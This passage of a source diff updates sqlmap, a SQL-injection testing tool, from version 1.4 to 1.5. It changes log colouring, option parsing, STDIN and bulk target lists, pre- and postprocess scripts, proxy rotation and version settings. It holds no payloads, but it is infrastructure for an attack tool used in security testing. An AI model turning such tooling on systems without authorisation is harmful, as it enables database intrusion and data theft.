+1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import logging +import re import sys from lib.core.enums import CUSTOM_LOGGING @@ -20,6 +21,77 @@ try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler + class _ColorizingStreamHandler(ColorizingStreamHandler): + def colorize(self, message, levelno): + if levelno in self.level_map and self.is_tty: + bg, fg, bold = self.level_map[levelno] + params = [] + + if bg in self.color_map: + params.append(str(self.color_map[bg] + 40)) + + if fg in self.color_map: + params.append(str(self.color_map[fg] + 30)) + + if bold: + params.append('1') + + if params and message: + match = re.search(r"\A(\s+)", message) + prefix = match.group(1) if match else "" + message = message[len(prefix):] + + match = re.search(r"\[([A-Z ]+)\]", message) # log level + if match: + level = match.group(1) + if message.startswith(self.bold): + message = message.replace(self.bold, "") + reset = self.reset + self.bold + params.append('1') + else: + reset = self.reset + message = message.replace(level, ''.join((self.csi, ';'.join(params), 'm', level, reset)), 1) + + match = re.search(r"\A\s*\[([\d:]+)\]", message) # time + if match: + time = match.group(1) + message = message.replace(time, ''.join((self.csi, str(self.color_map["cyan"] + 30), 'm', time, self._reset(message))), 1) + + match = re.search(r"\[(#\d+)\]", message) # counter + if match: + counter = match.group(1) + message = message.replace(counter, ''.join((self.csi, str(self.color_map["yellow"] + 30), 'm', counter, self._reset(message))), 1) + + if level != "PAYLOAD": + if any(_ in message for _ in ("parsed DBMS error message",)): + match = re.search(r": '(.+)'", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r"\bresumed: '(.+\.\.\.)", message) + if match: + string = match.group(1) + message = message.replace("'%s" % string, "'%s" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + match = re.search(r" \('(.+)'\)\Z", message) or re.search(r"output: '(.+)'\Z", message) + if match: + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) + + if prefix: + message = "%s%s" % (prefix, message) + + message = message.replace("%s]" % self.bold, "]%s" % self.bold) # dirty patch + + return message + disableColor = False for argument in sys.argv: @@ -30,7 +102,7 @@ if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: - LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) + LOGGER_HANDLER = _ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) diff --git a/lib/core/option.py b/lib/core/option.py index fa64003d77c..1ef78a367b1 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1,13 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from __future__ import division import codecs +import collections import functools import glob import inspect @@ -20,6 +21,7 @@ import tempfile import threading import time +import traceback from lib.controller.checks import checkConnection from lib.core.common import Backend @@ -93,7 +95,6 @@ from lib.core.exception import SqlmapMissingDependence from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapMissingPrivileges -from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.exception import SqlmapSystemException @@ -121,6 +122,7 @@ from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT +from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS @@ -330,8 +332,13 @@ def _setRequestFromFile(): infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq logger.info(infoMsg) - target = next(parseRequestFile(conf.secondReq, False)) - kb.secondReq = target + try: + target = next(parseRequestFile(conf.secondReq, False)) + kb.secondReq = target + except StopIteration: + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not contain a valid HTTP request" + raise SqlmapDataException(errMsg) def _setCrawler(): if not conf.crawlDepth: @@ -341,7 +348,7 @@ def _setCrawler(): if conf.url: crawl(conf.url) elif conf.requestFile and kb.targets: - target = list(kb.targets)[0] + target = next(iter(kb.targets)) crawl(target[0], target[2], target[3]) def _doSearch(): @@ -365,7 +372,7 @@ def retrieve(): for link in links: link = urldecode(link) - if re.search(r"(.*?)\?(.+)", link): + if re.search(r"(.*?)\?(.+)", link) or conf.forms: kb.targets.add((link, conf.method, conf.data, conf.cookie, None)) elif re.search(URI_INJECTABLE_REGEX, link, re.I): if kb.data.onlyGETs is None and conf.data is None and not conf.googleDork: @@ -381,14 +388,18 @@ def retrieve(): if kb.targets: infoMsg = "found %d results for your " % len(links) - infoMsg += "search dork expression, " + infoMsg += "search dork expression" - if len(links) == len(kb.targets): - infoMsg += "all " - else: - infoMsg += "%d " % len(kb.targets) + if not conf.forms: + infoMsg += ", " + + if len(links) == len(kb.targets): + infoMsg += "all " + else: + infoMsg += "%d " % len(kb.targets) + + infoMsg += "of them are testable targets" - infoMsg += "of them are testable targets" logger.info(infoMsg) break @@ -403,6 +414,41 @@ def retrieve(): else: conf.googlePage += 1 +def _setStdinPipeTargets(): + if isinstance(conf.stdinPipe, collections.Iterable): + infoMsg = "using 'STDIN' for parsing targets list" + logger.info(infoMsg) + + class _(object): + def __init__(self): + self.__rest = OrderedSet() + + def __iter__(self): + return self + + def __next__(self): + return self.next() + + def next(self): + try: + line = next(conf.stdinPipe) + except (IOError, OSError): + line = None + + if line: + match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I) + if match: + return (match.group(0), conf.method, conf.data, conf.cookie, None) + elif self.__rest: + return self.__rest.pop() + + raise StopIteration() + + def add(self, elem): + self.__rest.add(elem) + + kb.targets = _() + def _setBulkMultipleTargets(): if not conf.bulkFile: return @@ -419,7 +465,10 @@ def _setBulkMultipleTargets(): found = False for line in getFileItems(conf.bulkFile): - if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line: + if conf.scope and not re.search(conf.scope, line, re.I): + continue + + if re.match(r"[^ ]+\?(.+)", line, re.I) or kb.customInjectionMark in line or conf.data: found = True kb.targets.add((line.strip(), conf.method, conf.data, conf.cookie, None)) @@ -670,7 +719,7 @@ def _setDBMS(): logger.debug(debugMsg) conf.dbms = conf.dbms.lower() - regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I) + regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I) if regex: conf.dbms = regex.group(1) @@ -813,7 +862,7 @@ def _setTamperingFunctions(): def _setPreprocessFunctions(): """ - Loads preprocess functions from given script(s) + Loads preprocess function(s) from given script(s) """ if conf.preprocess: @@ -858,17 +907,100 @@ def _setPreprocessFunctions(): raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): + try: + if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): + found = True + + kb.preprocessFunctions.append(function) + function.__name__ = module.__name__ + + break + except ValueError: # Note: https://github.com/sqlmapproject/sqlmap/issues/4357 + pass + + if not found: + errMsg = "missing function 'preprocess(req)' " + errMsg += "in preprocess script '%s'" % script + raise SqlmapGenericException(errMsg) + else: + try: + function(_urllib.request.Request("http://localhost")) + except: + tbMsg = traceback.format_exc() + + if conf.debug: + dataToStdout(tbMsg) + + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") + os.close(handle) + + openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n pass\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + + errMsg = "function 'preprocess(req)' " + errMsg += "in preprocess script '%s' " % script + errMsg += "appears to be invalid " + errMsg += "(Note: find template script at '%s')" % filename + raise SqlmapGenericException(errMsg) + +def _setPostprocessFunctions(): + """ + Loads postprocess function(s) from given script(s) + """ + + if conf.postprocess: + for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess): + found = False + function = None + + script = safeFilepathEncode(script.strip()) + + try: + if not script: + continue + + if not os.path.exists(script): + errMsg = "postprocess script '%s' does not exist" % script + raise SqlmapFilePathException(errMsg) + + elif not script.endswith(".py"): + errMsg = "postprocess script '%s' should have an extension '.py'" % script + raise SqlmapSyntaxException(errMsg) + except UnicodeDecodeError: + errMsg = "invalid character provided in option '--postprocess'" + raise SqlmapSyntaxException(errMsg) + + dirname, filename = os.path.split(script) + dirname = os.path.abspath(dirname) + + infoMsg = "loading postprocess module '%s'" % filename[:-3] + logger.info(infoMsg) + + if not os.path.exists(os.path.join(dirname, "__init__.py")): + errMsg = "make sure that there is an empty file '__init__.py' " + errMsg += "inside of postprocess scripts directory '%s'" % dirname + raise SqlmapGenericException(errMsg) + + if dirname not in sys.path: + sys.path.insert(0, dirname) + + try: + module = __import__(safeFilepathEncode(filename[:-3])) + except Exception as ex: + raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) + + for name, function in inspect.getmembers(module, inspect.isfunction): + if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): found = True - kb.preprocessFunctions.append(function) + kb.postprocessFunctions.append(function) function.__name__ = module.__name__ break if not found: - errMsg = "missing function 'preprocess(page, headers=None, code=None)' " - errMsg += "in preprocess script '%s'" % script + errMsg = "missing function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s'" % script raise SqlmapGenericException(errMsg) else: try: @@ -877,11 +1009,11 @@ def _setPreprocessFunctions(): handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") os.close(handle) - open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n return page, headers, code\n") - open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") + openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") + openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") - errMsg = "function 'preprocess(page, headers=None, code=None)' " - errMsg += "in preprocess script '%s' " % script + errMsg = "function 'postprocess(page, headers=None, code=None)' " + errMsg += "in postprocess script '%s' " % script errMsg += "should return a tuple '(page, headers, code)' " errMsg += "(Note: find template script at '%s')" % filename raise SqlmapGenericException(errMsg) @@ -970,16 +1102,13 @@ def _setHTTPHandlers(): """ with kb.locks.handlers: - if conf.proxyList is not None: - if not conf.proxyList: - errMsg = "list of usable proxies is exhausted" - raise SqlmapNoneDataException(errMsg) - + if conf.proxyList: conf.proxy = conf.proxyList[0] - conf.proxyList = conf.proxyList[1:] + conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1] - infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy - logger.info(infoMsg) + if len(conf.proxyList) > 1: + infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy + logger.info(infoMsg) elif not conf.proxy: if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy: @@ -1139,7 +1268,7 @@ def _setSafeVisit(): conf.safeUrl = "http://%s" % conf.safeUrl if (conf.safeFreq or 0) <= 0: - errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features" + errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" raise SqlmapSyntaxException(errMsg) def _setPrefixSuffix(): @@ -1441,8 +1570,8 @@ def _createHomeDirectories(): if conf.get("purge"): return - for context in "output", "history": - directory = paths["SQLMAP_%s_PATH" % context.upper()] + for context in ("output", "history"): + directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 try: if not os.path.isdir(directory): os.makedirs(directory) @@ -1544,7 +1673,8 @@ def _cleanupOptions(): for key, value in conf.items(): if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")): - conf[key] = safeExpandUser(value) + if isinstance(value, str): + conf[key] = safeExpandUser(value) if conf.testParameter: conf.testParameter = urldecode(conf.testParameter) @@ -1571,7 +1701,7 @@ def _cleanupOptions(): if conf.base64Parameter: conf.base64Parameter = urldecode(conf.base64Parameter) - conf.base64Parameter = conf.base64Parameter.replace(" ", "") + conf.base64Parameter = conf.base64Parameter.strip() conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter) else: conf.base64Parameter = [] @@ -1634,7 +1764,7 @@ def _cleanupOptions(): if conf.tmpPath: conf.tmpPath = ntToPosixSlashes(normalizePath(conf.tmpPath)) - if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth)): + if any((conf.googleDork, conf.logFile, conf.bulkFile, conf.forms, conf.crawlDepth, conf.stdinPipe)): conf.multipleTargets = True if conf.optimize: @@ -1729,8 +1859,7 @@ class _(six.text_type): conf.__setitem__(_, True) if conf.noCast: - for _ in list(DUMP_REPLACEMENTS.keys()): - del DUMP_REPLACEMENTS[_] + DUMP_REPLACEMENTS.clear() if conf.dumpFormat: conf.dumpFormat = conf.dumpFormat.upper() @@ -1743,6 +1872,8 @@ class _(six.text_type): if conf.exclude: regex = False + original = conf.exclude + if any(_ in conf.exclude for _ in ('+', '*')): try: re.compile(conf.exclude) @@ -1754,11 +1885,26 @@ class _(six.text_type): if not regex: conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude) conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(',')) + else: + conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude) + + class _(six.text_type): + pass + + conf.exclude = _(conf.exclude) + conf.exclude._original = original if conf.binaryFields: conf.binaryFields = conf.binaryFields.replace(" ", "") conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) + envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) + if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: + debugMsg = "using environment proxy '%s'" % envProxy + logger.debug(debugMsg) + + conf.proxy = envProxy + if any((conf.proxy, conf.proxyFile, conf.tor)): conf.disablePrecon = True @@ -1841,6 +1987,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.arch = None kb.authHeader = None kb.bannerFp = AttribDict() + kb.base64Originals = {} kb.binaryField = False kb.browserVerification = None @@ -1852,6 +1999,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache.content = {} kb.cache.encoding = {} kb.cache.alphaBoundaries = None + kb.cache.hashRegex = None kb.cache.intBoundaries = None kb.cache.parsedDbms = {} kb.cache.regex = {} @@ -1901,12 +2049,15 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.errorIsNone = True kb.falsePositives = [] kb.fileReadMode = False + kb.fingerprinted = False kb.followSitemapRecursion = None kb.forcedDbms = None kb.forcePartialUnion = False kb.forceThreads = None kb.forceWhere = None + kb.forkNote = None kb.futileUnion = None + kb.fuzzUnionTest = None kb.heavilyDynamic = False kb.headersFile = None kb.headersFp = {} @@ -1925,12 +2076,12 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.identifiedWafs = set() kb.injection = InjectionDict() kb.injections = [] + kb.jsonAggMode = False kb.laggingChecked = False kb.lastParserStatus = None - kb.lastCtrlCTime = None kb.locks = AttribDict() - for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"): + for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): kb.locks[_] = threading.Lock() kb.matchRatio = None @@ -1938,6 +2089,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.mergeCookies = None kb.multipleCtrlC = False kb.negativeLogic = False + kb.nchar = True kb.nullConnection = None kb.oldMsf = None kb.orderByColumns = None @@ -1980,7 +2132,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.responseTimeMode = None kb.responseTimePayload = None kb.resumeValues = True - kb.rowXmlMode = False kb.safeCharEncode = False kb.safeReq = AttribDict() kb.secondReq = None @@ -1989,10 +2140,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.skipSeqMatcher = False kb.smokeMode = False kb.reduceTests = None - kb.tlsSNI = {} + kb.sslSuccess = False kb.stickyDBMS = False kb.storeHashesChoice = None kb.suppressResumeInfo = False + kb.tableExistsChoice = None kb.tableFrom = None kb.technique = None kb.tempDir = None @@ -2002,10 +2154,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.testType = None kb.threadContinue = True kb.threadException = False - kb.tableExistsChoice = None + kb.tlsSNI = {} kb.uChar = NULL kb.udfFail = False kb.unionDuplicates = False + kb.unionTemplate = None kb.webSocketRecvCount = None kb.wizardMode = False kb.xpCmdshellAvailable = False @@ -2014,8 +2167,10 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.checkSitemap = None kb.headerPaths = {} kb.keywords = set(getFileItems(paths.SQL_KEYWORDS)) + kb.lastCtrlCTime = None kb.normalizeCrawlingChoice = None kb.passwordMgr = None + kb.postprocessFunctions = [] kb.preprocessFunctions = [] kb.skipVulnHost = None kb.storeCrawlingChoice = None @@ -2042,11 +2197,11 @@ def _useWizardInterface(): message = "Please enter full target URL (-u): " conf.url = readInput(message, default=None) - message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) conf.data = readInput(message, default=None) if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url): - warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST) + warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). " if not conf.crawlDepth and not conf.forms: warnMsg += "Will search for forms" @@ -2440,6 +2595,13 @@ def _basicOptionValidation(): errMsg = "switch '--no-cast' is incompatible with switch '--hex'" raise SqlmapSyntaxException(errMsg) + if conf.crawlDepth: + try: + xrange(conf.crawlDepth) + except OverflowError as ex: + errMsg = "invalid value used for option '--crawl' ('%s')" % getSafeExString(ex) + raise SqlmapSyntaxException(errMsg) + if conf.dumpAll and conf.search: errMsg = "switch '--dump-all' is incompatible with switch '--search'" raise SqlmapSyntaxException(errMsg) @@ -2556,6 +2718,10 @@ def _basicOptionValidation(): errMsg = "switch '--proxy' is incompatible with option '--proxy-file'" raise SqlmapSyntaxException(errMsg) + if conf.proxyFreq and not conf.proxyFile: + errMsg = "option '--proxy-freq' requires usage of option '--proxy-file'" + raise SqlmapSyntaxException(errMsg) + if conf.checkTor and not any((conf.tor, conf.proxy)): errMsg = "switch '--check-tor' requires usage of switch '--tor' (or option '--proxy' with HTTP proxy address of Tor service)" raise SqlmapSyntaxException(errMsg) @@ -2602,7 +2768,7 @@ def _basicOptionValidation(): errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)" raise SqlmapSyntaxException(errMsg) - if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): + if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)): errMsg = "option '--crack' should be used as a standalone" raise SqlmapSyntaxException(errMsg) @@ -2662,6 +2828,7 @@ def init(): _listTamperingFunctions() _setTamperingFunctions() _setPreprocessFunctions() + _setPostprocessFunctions() _setTrafficOutputFP() _setupHTTPCollector() _setHttpChunked() @@ -2669,7 +2836,7 @@ def init(): parseTargetDirect() - if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)): + if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)): _setHostname() _setHTTPTimeout() _setHTTPExtraHeaders() @@ -2683,6 +2850,7 @@ def init(): _setSocketPreConnect() _setSafeVisit() _doSearch() + _setStdinPipeTargets() _setBulkMultipleTargets() _checkTor() _setCrawler() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index caa75fa9072..c5806a9c346 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -27,6 +27,7 @@ "paramDel": "string", "cookie": "string", "cookieDel": "string", + "liveCookies": "string", "loadCookies": "string", "dropSetCookie": "boolean", "agent": "string", @@ -45,6 +46,7 @@ "proxy": "string", "proxyCred": "string", "proxyFile": "string", + "proxyFreq": "integer", "tor": "boolean", "torPort": "integer", "torType": "string", @@ -61,6 +63,7 @@ "csrfToken": "string", "csrfUrl": "string", "csrfMethod": "string", + "csrfRetries": "integer", "forceSSL": "boolean", "chunked": "boolean", "hpp": "boolean", @@ -201,6 +204,8 @@ "trafficFile": "string", "answers": "string", "batch": "boolean", + "base64Parameter": "string", + "base64Safe": "boolean", "binaryFields": "string", "charset": "string", "checkInternet": "boolean", @@ -219,10 +224,12 @@ "hexConvert": "boolean", "outputDir": "string", "parseErrors": "boolean", + "postprocess": "string", "preprocess": "string", "repair": "boolean", "saveConfig": "string", "scope": "string", + "skipHeuristics": "boolean", "skipWaf": "boolean", "testFilter": "string", "testSkip": "string", @@ -252,9 +259,6 @@ "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", - "liveTest": "boolean", - "stopFail": "boolean", - "runCase": "string", }, "API": { diff --git a/lib/core/patch.py b/lib/core/patch.py index 6d809e41317..e6865bb4d68 100644 --- a/lib/core/patch.py +++ b/lib/core/patch.py @@ -1,11 +1,15 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import codecs +import os +import random +import re +import sys import lib.controller.checks import lib.core.common @@ -25,13 +29,19 @@ from lib.core.common import readInput from lib.core.common import shellExec from lib.core.common import singleTimeWarnMessage +from lib.core.compat import xrange from lib.core.convert import stdoutEncode +from lib.core.data import conf +from lib.core.enums import PLACE from lib.core.option import _setHTTPHandlers from lib.core.option import setVerbosity from lib.core.settings import IS_WIN from lib.request.templates import getPageTemplate +from thirdparty import six from thirdparty.six.moves import http_client as _http_client +_rand = 0 + def dirtyPatches(): """ Place for "dirty" Python related patches @@ -40,6 +50,18 @@ def dirtyPatches(): # accept overly long result lines (e.g. SQLi results in HTTP header responses) _http_client._MAXLINE = 1 * 1024 * 1024 + # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing) + if six.PY3: + if not hasattr(_http_client.HTTPConnection, "__send_output"): + _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output + + def _send_output(self, *args, **kwargs): + if conf.get("chunked") and "encode_chunked" in kwargs: + kwargs["encode_chunked"] = False + self.__send_output(*args, **kwargs) + + _http_client.HTTPConnection._send_output = _send_output + # add support for inet_pton() on Windows OS if IS_WIN: from thirdparty.wininetpton import win_inet_pton @@ -58,6 +80,19 @@ def _(self, *args): # to prevent too much "guessing" in case of binary data retrieval thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90 + match = re.search(r" --method[= ](\w+)", " ".join(sys.argv)) + if match and match.group(1).upper() != PLACE.POST: + PLACE.CUSTOM_POST = PLACE.CUSTOM_POST.replace("POST", "%s (body)" % match.group(1)) + + # https://github.com/sqlmapproject/sqlmap/issues/4314 + try: + os.urandom(1) + except NotImplementedError: + if six.PY3: + os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size)) + else: + os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size)) + def resolveCrossReferences(): """ Place for cross-reference resolution @@ -87,3 +122,35 @@ def pympTempLeakPatch(tempDir): multiprocessing.util.get_temp_dir = lambda: tempDir except: pass + +def unisonRandom(): + """ + Unifying random generated data across different Python versions + """ + + def _lcg(): + global _rand + a = 1140671485 + c = 128201163 + m = 2 ** 24 + _rand = (a * _rand + c) % m + return _rand + + def _randint(a, b): + _ = a + (_lcg() % (b - a + 1)) + return _ + + def _choice(seq): + return seq[_randint(0, len(seq) - 1)] + + def _sample(population, k): + return [_choice(population) for _ in xrange(k)] + + def _seed(seed): + global _rand + _rand = seed + + random.choice = _choice + random.randint = _randint + random.sample = _sample + random.seed = _seed diff --git a/lib/core/profiling.py b/lib/core/profiling.py index 33aad3b67c5..cb29d5d90bf 100644 --- a/lib/core/profiling.py +++ b/lib/core/profiling.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/readlineng.py b/lib/core/readlineng.py index cffc551853c..2435323489b 100644 --- a/lib/core/readlineng.py +++ b/lib/core/readlineng.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/replication.py b/lib/core/replication.py index 93e38fc8582..11ee56e6f08 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/revision.py b/lib/core/revision.py index eb45f96a7a6..81083f8bed0 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/core/session.py b/lib/core/session.py index ba608791242..59291cc1615 100644 --- a/lib/core/session.py +++ b/lib/core/session.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -25,7 +25,7 @@ def setDbms(dbms): hashDBWrite(HASHDB_KEYS.DBMS, dbms) - _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS])) + _ = "(%s)" % ('|'.join(SUPPORTED_DBMS)) _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I) if _: diff --git a/lib/core/settings.py b/lib/core/settings.py index 7bbb515c2f6..ed84999597c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4" +VERSION = "1.5" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -52,6 +52,9 @@ # Timeout used in heuristic check for WAF/IPS protected targets IPS_WAF_CHECK_TIMEOUT = 10 +# Timeout used in checking for existence of live-cookies file +LIVE_COOKIES_TIMEOUT = 120 + # Lower and upper values for match ratio in case of stable page LOWER_RATIO_BOUND = 0.02 UPPER_RATIO_BOUND = 0.98 @@ -60,20 +63,24 @@ PARAMETER_AMP_MARKER = "__AMP__" PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__" BOUNDARY_BACKSLASH_MARKER = 